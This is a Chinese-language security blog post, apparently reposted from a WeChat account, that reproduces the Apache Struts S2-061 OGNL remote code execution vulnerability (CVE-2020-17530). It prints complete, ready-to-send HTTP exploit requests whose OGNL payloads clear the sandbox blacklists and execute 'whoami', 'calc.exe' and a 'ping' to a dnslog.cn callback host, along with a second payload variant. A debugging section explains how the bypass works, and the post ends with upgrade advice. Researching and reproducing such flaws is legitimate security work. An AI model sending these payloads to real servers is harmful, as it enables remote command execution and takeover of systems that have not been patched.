S2-061_RCE_CVE-2020-17530

admin 2023年6月13日10:27:45评论26 views字数 11545阅读38分29秒阅读模式

影响范围

Struts 2.0.0 - Struts 2.5.25

漏洞类型

OGNL表达式解析

利用条件

开启altSyntax功能
标签属性中使用了`%{x}`且`x`的值用户可控

漏洞概述

Struts2会对某些标签属性(比如:'id')的属性值进行二次表达式解析,因此当这些标签属性中使用了'%{x}'且'x'的值用户可控时,用户再传入一个'%{payload}'即可造成OGNL表达式执行,S2-061是对S2-059沙盒进行的绕过,S2-059的修复补丁仅修复了沙盒绕过,但是并没有修复OGNL表达式的执行,直到最新版本2.5.26版本中OGNL表达式的执行才得以修复

漏洞复现

简易测试

pom文件如下所示:

    <dependencies>        <dependency>            <groupId>org.apache.struts</groupId>            <artifactId>struts2-core</artifactId>            <version>2.5.25</version>        </dependency>        <dependency>            <groupId>commons-collections</groupId>            <artifactId>commons-collections</artifactId>            <version>3.2.2</version>        </dependency>    </dependencies>

之后启动Tomcat并在浏览器中访问:

S2-061_RCE_CVE-2020-17530

之后访问一下URL进行简易测试:

S2-061_RCE_CVE-2020-17530

命令执行
SSRF测试
POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1Host: 192.168.174.149:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2DContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 846
------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping 4ofoqe.dnslog.cn")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

S2-061_RCE_CVE-2020-17530

DNSLog回显:

S2-061_RCE_CVE-2020-17530

执行系统命令

POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1Host: 192.168.174.149:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2DContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 831
------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

S2-061_RCE_CVE-2020-17530

弹计算器测试

POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1Host: 192.168.174.149:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2DContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 833
------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("calc.exe")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

S2-061_RCE_CVE-2020-17530

S2-061_RCE_CVE-2020-17530

其他方式
POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1Host: 192.168.174.149:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2DContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 1365
------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

S2-061_RCE_CVE-2020-17530

调试分析

首先我们看一下在Struts 2.5.25的Struts-default.xml文件中沙盒的限制:

    <constant name="struts.excludedClasses"              value="                java.lang.Object,                java.lang.Runtime,                java.lang.System,                java.lang.Class,                java.lang.ClassLoader,                java.lang.Shutdown,                java.lang.ProcessBuilder,                sun.misc.Unsafe,                com.opensymphony.xwork2.ActionContext" />
<!-- this must be valid regex, each '.' in package name must be escaped! --> <!-- it's more flexible but slower than simple string comparison --> <!-- constant name="struts.excludedPackageNamePatterns" value="^java.lang..*,^ognl.*,^(?!javax.servlet..+)(javax..+)" / -->
<!-- this is simpler version of the above used with string comparison --> <constant name="struts.excludedPackageNames" value=" ognl., java.io., java.net., java.nio., javax., freemarker.core., freemarker.template., freemarker.ext.jsp., freemarker.ext.rhino., sun.misc., sun.reflect., javassist., org.apache.velocity., org.objectweb.asm., org.springframework.context., com.opensymphony.xwork2.inject., com.opensymphony.xwork2.ognl., com.opensymphony.xwork2.security., com.opensymphony.xwork2.util." />

总体限制归纳如下:

  • 无法new一个对象

  • 无法使用反射机制

  • 无法直接执行命令

  • 无法调用静态方法

  • 无法调用方法属性非public的方法

  • 无法调用黑名单类和包的方法、属性

同时在struts2在ognl.OgnlRuntime#invokeMethod中ban掉了常用的class,所以即使绕过了沙盒也不能直接调用这些类:

   public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {        if (_useStricterInvocation) {            Class methodDeclaringClass = method.getDeclaringClass();            if (AO_SETACCESSIBLE_REF != null                 && AO_SETACCESSIBLE_REF.equals(method) || AO_SETACCESSIBLE_ARR_REF != null                 && AO_SETACCESSIBLE_ARR_REF.equals(method) || SYS_EXIT_REF != null                 && SYS_EXIT_REF.equals(method) || SYS_CONSOLE_REF != null                 && SYS_CONSOLE_REF.equals(method) || AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) || ClassResolver.class.isAssignableFrom(methodDeclaringClass) || MethodAccessor.class.isAssignableFrom(methodDeclaringClass) || MemberAccess.class.isAssignableFrom(methodDeclaringClass) || OgnlContext.class.isAssignableFrom(methodDeclaringClass) || Runtime.class.isAssignableFrom(methodDeclaringClass) || ClassLoader.class.isAssignableFrom(methodDeclaringClass) || ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) || AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {                throw new IllegalAccessException("Method [" + method + "] cannot be called from within OGNL invokeMethod() under stricter invocation mode.");            }        }
boolean syncInvoke; boolean checkPermission; synchronized(method) { Boolean methodAccessCacheValue = (Boolean)_methodAccessCache.get(method); if (methodAccessCacheValue == null) { if (Modifier.isPublic(method.getModifiers())&& Modifier.isPublic(method.getDeclaringClass().getModifiers())) { methodAccessCacheValue = Boolean.FALSE; _methodAccessCache.put(method, methodAccessCacheValue); } else if (!method.isAccessible()) { methodAccessCacheValue = Boolean.TRUE; _methodAccessCache.put(method, methodAccessCacheValue); } else { methodAccessCacheValue = Boolean.FALSE; _methodAccessCache.put(method, methodAccessCacheValue); } }
syncInvoke = Boolean.TRUE.equals(methodAccessCacheValue); Boolean methodPermCacheValue = (Boolean)_methodPermCache.get(method); if (methodPermCacheValue == null) { if (_securityManager != null) { try { _securityManager.checkPermission(getPermission(method)); methodPermCacheValue = Boolean.TRUE; _methodPermCache.put(method, methodPermCacheValue); } catch (SecurityException var22) { methodPermCacheValue = Boolean.FALSE; _methodPermCache.put(method, methodPermCacheValue); throw new IllegalAccessException("Method [" + method + "] cannot be accessed."); } } else { methodPermCacheValue = Boolean.TRUE; _methodPermCache.put(method, methodPermCacheValue); } }
checkPermission = Boolean.FALSE.equals(methodPermCacheValue); }
Object result; if (syncInvoke) { synchronized(method) { if (checkPermission) { try { _securityManager.checkPermission(getPermission(method)); } catch (SecurityException var19) { throw new IllegalAccessException("Method [" + method + "] cannot be accessed."); } }
_accessibleObjectHandler.setAccessible(method, true);
try { result = invokeMethodInsideSandbox(target, method, argsArray); } finally { _accessibleObjectHandler.setAccessible(method, false); } } } else { if (checkPermission) { try { _securityManager.checkPermission(getPermission(method)); } catch (SecurityException var21) { throw new IllegalAccessException("Method [" + method + "] cannot be accessed."); } }
result = invokeMethodInsideSandbox(target, method, argsArray); }
return result; }

通过分析发现OGNL并没有限制如下操作:

  • 对象属性setter/getter(public)赋/取值,可以访问静态属性

  • 已实例类的方法调用(OgnlContext中的对象),不允许调用静态方法

下面我们通过对网络中公开的EXP进行一个简易的分析来对该漏洞的沙盒绕过进行一个简单的分析,首先可以看到的是在EXP中#application为org.apache.tomcat.InstanceManager,其键值为org.apache.catalina.core.DefaultInstanceManager的实例化对象:

S2-061_RCE_CVE-2020-17530

该类有一个newInstance方法,它可以实例化任意无参构造方法的类并返回,也就是说我们现在绕过了无法new一个对象的限制,不过这个对象必须存在public的无参构造方法:

S2-061_RCE_CVE-2020-17530

那么我们如何获取到OgnlContext呢?在S2-057中采取的措施是通过#attr 、#request等map对象中的struts.valueStack间接获取OgnlContext ,而在S2-057的补丁中把com.opensymphony.xwork2.ognl.加入到了黑名单,所以不能调用OgnlValueStack的getContext方法,不过我们可以利用实例化任意无参构造方法条件调用一些方法,间接的帮我们获取到OgnlContext,于是注意到了EXP中的org.apache.commons.collections.BeanMap

S2-061_RCE_CVE-2020-17530

在这里我们着重关注一下setBean方法:

S2-061_RCE_CVE-2020-17530

跟进这里的this.reinitialise(),之后继续跟进this.initialise()方法

S2-061_RCE_CVE-2020-17530

可以看到它会把传入对象对应的class当做bean,提取get和set方法以及name赋值进readMethods和writeMethods

S2-061_RCE_CVE-2020-17530

看一下其get方法,这里会根据我们传入的name调用readMethods中对应的getXxx方法:

S2-061_RCE_CVE-2020-17530

S2-061_RCE_CVE-2020-17530

而com.opensymphony.xwork2.ognl.OgnlValueStack中存在getContext方法,因此我们可以拿到OgnlValueStack后,利用 BeanMap间接获取到OgnlContext:

S2-061_RCE_CVE-2020-17530

并利用put方法调用setExcludedClasses和setExcludedPackageNames覆盖掉黑名单

S2-061_RCE_CVE-2020-17530

之前提到过最新的struts2即使绕过了沙盒依然不能直接调用常用的类来进行利用,但是我们清空了黑名单之后就可以实例化任意黑名单中的类,看下黑明单包中的类freemarker.template.utility.Execute,存在无参构造方法Execute(),exec方法可以直接执行命令:

S2-061_RCE_CVE-2020-17530

安全建议

升级到最新版本

参考链接

https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g

https://www.cnblogs.com/backlion/p/14122528.html

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17530


原文始发于微信公众号(七芒星实验室):S2-061_RCE_CVE-2020-17530

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月13日10:27:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   S2-061_RCE_CVE-2020-17530https://cn-sec.com/archives/1800846.html

发表评论

匿名网友 填写信息